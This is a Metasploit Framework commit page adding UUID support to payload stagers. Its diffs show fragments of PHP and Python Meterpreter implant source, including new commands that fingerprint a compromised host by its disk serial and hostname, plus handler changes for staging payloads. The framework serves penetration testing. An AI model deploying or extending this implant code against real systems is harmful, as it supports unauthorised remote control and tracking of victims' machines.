Skip to content

Commit 96a1e1b

Browse files
author
Brent Cook
committed
Land rapid7#5367, add UUID stagers
2 parents 1be04a9 + d39d4ff commit 96a1e1b

File tree

92 files changed

+2058
-745
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

92 files changed

+2058
-745
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 1.0)
1111
metasploit-model (~> 1.0)
12-
metasploit-payloads (= 0.0.7)
12+
metasploit-payloads (= 1.0.1)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -123,7 +123,7 @@ GEM
123123
activemodel (>= 4.0.9, < 4.1.0)
124124
activesupport (>= 4.0.9, < 4.1.0)
125125
railties (>= 4.0.9, < 4.1.0)
126-
metasploit-payloads (0.0.7)
126+
metasploit-payloads (1.0.1)
127127
metasploit_data_models (1.1.0)
128128
activerecord (>= 4.0.9, < 4.1.0)
129129
activesupport (>= 4.0.9, < 4.1.0)

data/meterpreter/meterpreter.php

Lines changed: 47 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#<?php
1+
//<?php
22

33
# Everything that needs to be global has to be made so explicitly so we can run
44
# inside a call to create_user_func($user_input);
@@ -32,7 +32,7 @@
3232

3333
# global list of extension commands
3434
if (!isset($GLOBALS['commands'])) {
35-
$GLOBALS['commands'] = array("core_loadlib");
35+
$GLOBALS['commands'] = array("core_loadlib", "core_machine_id", "core_uuid");
3636
}
3737

3838
function register_command($c) {
@@ -99,18 +99,21 @@ function socket_set_option($sock, $type, $opt, $value) {
9999
}
100100
}
101101

102+
#
103+
# Payload definitions
104+
#
105+
define("PAYLOAD_UUID", "");
102106

103107
#
104108
# Constants
105109
#
106-
define("PACKET_TYPE_REQUEST",0);
107-
define("PACKET_TYPE_RESPONSE",1);
108-
define("PACKET_TYPE_PLAIN_REQUEST", 10);
110+
define("PACKET_TYPE_REQUEST", 0);
111+
define("PACKET_TYPE_RESPONSE", 1);
112+
define("PACKET_TYPE_PLAIN_REQUEST", 10);
109113
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
110114

111-
define("ERROR_SUCCESS",0);
112-
# not defined in original C implementation
113-
define("ERROR_FAILURE",1);
115+
define("ERROR_SUCCESS", 0);
116+
define("ERROR_FAILURE", 1);
114117

115118
define("CHANNEL_CLASS_BUFFERED", 0);
116119
define("CHANNEL_CLASS_STREAM", 1);
@@ -175,6 +178,9 @@ function socket_set_option($sock, $type, $opt, $value) {
175178
define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
176179
define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
177180

181+
define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
182+
define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
183+
178184
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
179185
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
180186

@@ -419,8 +425,41 @@ function core_loadlib($req, &$pkt) {
419425
}
420426

421427

428+
function core_uuid($req, &$pkt) {
429+
my_print("doing core_uuid");
430+
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID));
431+
return ERROR_SUCCESS;
432+
}
422433

423434

435+
function get_hdd_label() {
436+
foreach (scandir('/dev/disk/by-id/') as $file) {
437+
foreach (array("ata-", "mb-") as $prefix) {
438+
if (strpos($file, $prefix) === 0) {
439+
return substr($file, strlen($prefix));
440+
}
441+
}
442+
}
443+
return "";
444+
}
445+
446+
function core_machine_id($req, &$pkt) {
447+
my_print("doing core_machine_id");
448+
$machine_id = gethostname();
449+
$serial = "";
450+
451+
if (is_windows()) {
452+
# It's dirty, but there's not really a nicer way of doing this on windows. Make sure
453+
# it's lowercase as this is what the other meterpreters use.
454+
$output = strtolower(shell_exec("vol %SYSTEMDRIVE%"));
455+
$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output);
456+
} else {
457+
$serial = get_hdd_label();
458+
}
459+
460+
packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id));
461+
return ERROR_SUCCESS;
462+
}
424463

425464

426465
##

data/meterpreter/meterpreter.py

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,7 @@
6767
HTTP_EXPIRATION_TIMEOUT = 604800
6868
HTTP_PROXY = None
6969
HTTP_USER_AGENT = None
70+
PAYLOAD_UUID = ""
7071

7172
PACKET_TYPE_REQUEST = 0
7273
PACKET_TYPE_RESPONSE = 1
@@ -144,6 +145,7 @@
144145
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
145146

146147
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
148+
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
147149

148150
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
149151
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
@@ -570,7 +572,19 @@ def handle_dead_resource_channel(self, channel_id):
570572
pkt = struct.pack('>I', len(pkt) + 4) + pkt
571573
self.send_packet(pkt)
572574

575+
def _core_uuid(self, request, response):
576+
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
577+
return ERROR_SUCCESS, response
578+
573579
def _core_machine_id(self, request, response):
580+
def get_hdd_label():
581+
for _, _, files in os.walk('/dev/disk/by-id/'):
582+
for f in files:
583+
for p in ['ata-', 'mb-']:
584+
if f[:len(p)] == p:
585+
return f[len(p):]
586+
return ""
587+
574588
serial = ''
575589
machine_name = platform.uname()[1]
576590
if has_windll:
@@ -592,11 +606,8 @@ def _core_machine_id(self, request, response):
592606
serial_num = serial_num.value
593607
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
594608
else:
595-
for _, _, files in os.walk('/dev/disk/by-id/'):
596-
for f in files:
597-
if f[:4] == 'ata-':
598-
serial = f[4:]
599-
break
609+
serial = get_hdd_label()
610+
600611
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
601612
return ERROR_SUCCESS, response
602613

data/php/bind_tcp.php

Lines changed: 0 additions & 56 deletions
This file was deleted.

data/php/bind_tcp_ipv6.php

Lines changed: 0 additions & 53 deletions
This file was deleted.

data/php/reverse_tcp.php

Lines changed: 0 additions & 56 deletions
This file was deleted.

lib/msf/core/handler/reverse_http.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -254,7 +254,10 @@ def on_request(cli, req, obj)
254254
url = payload_uri(req) + conn_id + '/'
255255

256256
blob = ""
257-
blob << obj.generate_stage
257+
blob << obj.generate_stage(
258+
uuid: uuid,
259+
uri: conn_id
260+
)
258261

259262
var_escape = lambda { |txt|
260263
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
@@ -291,7 +294,10 @@ def on_request(cli, req, obj)
291294
url = payload_uri(req) + conn_id + "/\x00"
292295

293296
blob = ""
294-
blob << obj.generate_stage
297+
blob << obj.generate_stage(
298+
uuid: uuid,
299+
uri: conn_id
300+
)
295301

296302
# This is a TLV packet - I guess somewhere there should be an API for building them
297303
# in Metasploit :-)

lib/msf/core/payload.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -318,6 +318,16 @@ def generate_complete
318318
apply_prepends(generate)
319319
end
320320

321+
#
322+
# Convert raw bytes to metasm-ready 'db' encoding format
323+
# eg. "\x90\xCC" => "db 0x90,0xCC"
324+
#
325+
# @param raw [Array] Byte array to encode.
326+
#
327+
def raw_to_db(raw)
328+
raw.unpack("C*").map {|c| "0x%.2x" % c}.join(",")
329+
end
330+
321331
#
322332
# Substitutes variables with values from the module's datastore in the
323333
# supplied raw buffer for a given set of named offsets. For instance,

lib/msf/core/payload/dalvik.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def fix_dex_header(dexfile)
1717
#
1818
# We could compile the .class files with dx here
1919
#
20-
def generate_stage
20+
def generate_stage(opts={})
2121
end
2222

2323
#

lib/msf/core/payload/generic.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -123,8 +123,8 @@ def stage_over_connection?
123123
redirect_to_actual(:stage_over_connection?)
124124
end
125125

126-
def generate_stage
127-
redirect_to_actual(:generate_stage)
126+
def generate_stage(opts={})
127+
redirect_to_actual(:generate_stage, opts)
128128
end
129129

130130
def handle_connection_stage(*args)

0 commit comments

Comments
 (0)